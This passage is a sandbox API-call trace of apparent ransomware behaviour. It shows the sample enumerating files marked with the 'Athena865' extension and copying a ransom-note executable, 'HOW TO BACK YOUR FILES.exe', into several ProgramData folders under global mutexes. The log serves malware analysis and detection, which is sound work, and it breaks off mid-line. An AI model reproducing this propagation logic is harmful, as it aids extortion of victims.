[0053.466] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.466] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.SETLANG.14.1033.hxn.Athena865" | out: lpString1="MS.SETLANG.14.1033.hxn.Athena865") returned="MS.SETLANG.14.1033.hxn.Athena865" [0053.467] lstrlenW (lpString="MS.SETLANG.14.1033.hxn.Athena865") returned 32 [0053.467] lstrlenW (lpString="Athena865") returned 9 [0053.467] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.467] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4a97820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~1.ATH")) returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.467] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.VISIO.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.14.1033.hxn.Athena865") returned="MS.VISIO.14.1033.hxn.Athena865" [0053.467] lstrlenW (lpString="MS.VISIO.14.1033.hxn.Athena865") returned 30 [0053.467] lstrlenW (lpString="Athena865") returned 9 [0053.467] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.467] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4a97820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~2.ATH")) returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.467] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.VISIO.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865") returned="MS.VISIO.DEV.14.1033.hxn.Athena865" [0053.467] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn.Athena865") returned 34 [0053.467] lstrlenW (lpString="Athena865") returned 9 [0053.467] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.467] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4abd980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~3.ATH")) returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.467] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" [0053.467] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned 41 [0053.467] lstrlenW (lpString="Athena865") returned 9 [0053.467] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.467] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4abd980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~4.ATH")) returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.467] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.467] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.VISIO_PRM.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865") returned="MS.VISIO_PRM.14.1033.hxn.Athena865" [0053.467] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn.Athena865") returned 34 [0053.468] lstrlenW (lpString="Athena865") returned 9 [0053.468] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.468] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4ae3ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn.Athena865", cAlternateFileName="MS8AED~1.ATH")) returned 1 [0053.468] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.468] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.468] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.VISIO_STD.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO_STD.14.1033.hxn.Athena865") returned="MS.VISIO_STD.14.1033.hxn.Athena865" [0053.468] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn.Athena865") returned 34 [0053.468] lstrlenW (lpString="Athena865") returned 9 [0053.468] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.468] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4ae3ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn.Athena865", cAlternateFileName="MSWINP~1.ATH")) returned 1 [0053.468] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.468] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.468] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.WINPROJ.14.1033.hxn.Athena865" | out: lpString1="MS.WINPROJ.14.1033.hxn.Athena865") returned="MS.WINPROJ.14.1033.hxn.Athena865" [0053.468] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn.Athena865") returned 32 [0053.468] lstrlenW (lpString="Athena865") returned 9 [0053.468] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.468] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4b09c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSWINP~2.ATH")) returned 1 [0053.468] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.468] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.468] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.WINPROJ.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned="MS.WINPROJ.DEV.14.1033.hxn.Athena865" [0053.468] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned 36 [0053.468] lstrlenW (lpString="Athena865") returned 9 [0053.468] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.468] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b09c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn.Athena865", cAlternateFileName="MSWINW~1.ATH")) returned 1 [0053.468] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.468] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.468] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.WINWORD.14.1033.hxn.Athena865" | out: lpString1="MS.WINWORD.14.1033.hxn.Athena865") returned="MS.WINWORD.14.1033.hxn.Athena865" [0053.468] lstrlenW (lpString="MS.WINWORD.14.1033.hxn.Athena865") returned 32 [0053.468] lstrlenW (lpString="Athena865") returned 9 [0053.468] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.468] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSWINW~2.ATH")) returned 1 [0053.469] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.469] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.469] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.WINWORD.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865") returned="MS.WINWORD.DEV.14.1033.hxn.Athena865" [0053.469] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn.Athena865") returned 36 [0053.469] lstrlenW (lpString="Athena865") returned 9 [0053.469] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.469] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x24e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl.Athena865", cAlternateFileName="NSLIST~1.ATH")) returned 1 [0053.469] lstrcmpiW (lpString1="nslist.hxl.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.469] lstrcmpiW (lpString1="nslist.hxl.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.469] lstrcpyW (in: lpString1=0x241e8ae, lpString2="nslist.hxl.Athena865" | out: lpString1="nslist.hxl.Athena865") returned="nslist.hxl.Athena865" [0053.469] lstrlenW (lpString="nslist.hxl.Athena865") returned 20 [0053.469] lstrlenW (lpString="Athena865") returned 9 [0053.469] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.469] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x24e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl.Athena865", cAlternateFileName="NSLIST~1.ATH")) returned 0 [0053.469] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.469] ReleaseMutex (hMutex=0xec) returned 1 [0053.469] CloseHandle (hObject=0xec) returned 1 [0053.469] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Mozilla" | out: lpString1="C:\\Documents and Settings\\All Users\\Mozilla") returned="C:\\Documents and Settings\\All Users\\Mozilla" [0053.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5285f0 | out: hHeap=0x4f0000) returned 1 [0053.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c698 | out: hHeap=0x4f0000) returned 1 [0053.469] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Mozilla") returned 43 [0053.469] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\720CE1557C0B64759B4BF0A36F8A9707") returned 0xec [0053.469] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.469] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Mozilla" | out: lpString1="C:\\Documents and Settings\\All Users\\Mozilla") returned="C:\\Documents and Settings\\All Users\\Mozilla" [0053.469] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.470] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.470] GetLastError () returned 0x0 [0053.470] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.470] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.471] CloseHandle (hObject=0xf4) returned 1 [0053.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.471] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.471] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.471] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.471] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.471] lstrcpyW (in: lpString1=0x241e8a0, lpString2="logs" | out: lpString1="logs") returned="logs" [0053.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c698 [0053.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52eba0 [0053.471] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0053.471] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0053.471] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.472] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc4b55f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0053.472] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.472] ReleaseMutex (hMutex=0xec) returned 1 [0053.472] CloseHandle (hObject=0xec) returned 1 [0053.472] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Oracle" | out: lpString1="C:\\Documents and Settings\\All Users\\Oracle") returned="C:\\Documents and Settings\\All Users\\Oracle" [0053.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528650 | out: hHeap=0x4f0000) returned 1 [0053.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6b0 | out: hHeap=0x4f0000) returned 1 [0053.472] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Oracle") returned 42 [0053.472] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7270D3C5472810086F6337D5FBA4E925") returned 0xec [0053.472] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.472] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Oracle" | out: lpString1="C:\\Documents and Settings\\All Users\\Oracle") returned="C:\\Documents and Settings\\All Users\\Oracle" [0053.472] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.472] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.473] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\oracle\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.473] GetLastError () returned 0x0 [0053.473] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.473] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.474] CloseHandle (hObject=0xf4) returned 1 [0053.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.474] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.474] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Oracle\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.474] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.474] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.474] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache") returned="C:\\Documents and Settings\\All Users\\Package Cache" [0053.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ca68 | out: hHeap=0x4f0000) returned 1 [0053.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6c8 | out: hHeap=0x4f0000) returned 1 [0053.474] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache") returned 49 [0053.474] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\071CC2DC81B5F16D7446D7CE51096EA5") returned 0xec [0053.474] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.474] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache") returned="C:\\Documents and Settings\\All Users\\Package Cache" [0053.474] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.475] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.475] GetLastError () returned 0x0 [0053.475] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.475] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.476] CloseHandle (hObject=0xf4) returned 1 [0053.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.476] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.476] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.476] lstrcpyW (in: lpString1=0x241e8ac, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0053.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6c8 [0053.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb6) returned 0x51bf88 [0053.476] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="\\" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0053.476] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: 